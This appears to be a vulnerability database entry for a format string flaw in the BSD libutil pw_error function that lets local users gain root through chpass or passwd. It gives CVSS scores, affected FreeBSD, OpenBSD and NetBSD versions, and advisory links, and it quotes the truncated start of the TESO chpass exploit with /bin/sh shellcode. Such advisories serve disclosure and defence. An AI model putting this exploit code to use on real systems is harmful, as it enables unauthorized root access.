Published: 19/12/2000 Updated: 10/10/2017

CVSS v2 Base Score: 7.2 | Impact Score: 10 | Exploitability Score: 3.9

VMScore: 725

Vector: AV:L/AC:L/Au:N/C:C/I:C/A:C

Format string vulnerability in pw_error function in BSD libutil library allows local users to gain root privileges via a malformed password in commands such as chpass or passwd.

Vulnerable Product	Search on Vulmon	Subscribe to Product
freebsd freebsd 3.4
freebsd freebsd 3.5
openbsd openbsd 2.5
openbsd openbsd 2.6
freebsd freebsd 4.0
netbsd netbsd 1.4
openbsd openbsd 2.7
netbsd netbsd 1.4.1
netbsd netbsd 1.4.2
freebsd freebsd 3.2
freebsd freebsd 3.3
openbsd openbsd 2.3
openbsd openbsd 2.4

/* * TESO BSD chpass exploit - caddis <caddis@dissensionnet> * * greets: #!teso, #!w00w00, #hert!, #ozsecurity, #plus613 * */ #include <stdioh> char bsd_shellcode[] = "\xeb\x16\x5e\x31\xc0\x8d\x0e\x89" "\x4e\x08\x89\x46\x0c\x8d\x4e\x08" "\x50\x51\x56\x50\xb0\x3b\xcd\x80" "\xe8\xe5\xff\xff\xff/bin/sh"; char ptmp_shellcode[] = " ...

NVD-CWE-Other http://www.securityfocus.com/bid/1744 http://www.openbsd.org/errata27.html#pw_error ftp://ftp.NetBSD.ORG/pub/NetBSD/misc/security/advisories/NetBSD-SA2000-015.txt.asc ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-00:58.chpass.asc http://marc.info/?l=bugtraq&m=97068555106135&w=2 https://exchange.xforce.ibmcloud.com/vulnerabilities/5339 https://nvd.nist.gov https://www.exploit-db.com/exploits/243/https://www.kb.cert.org/vuls/id/369427

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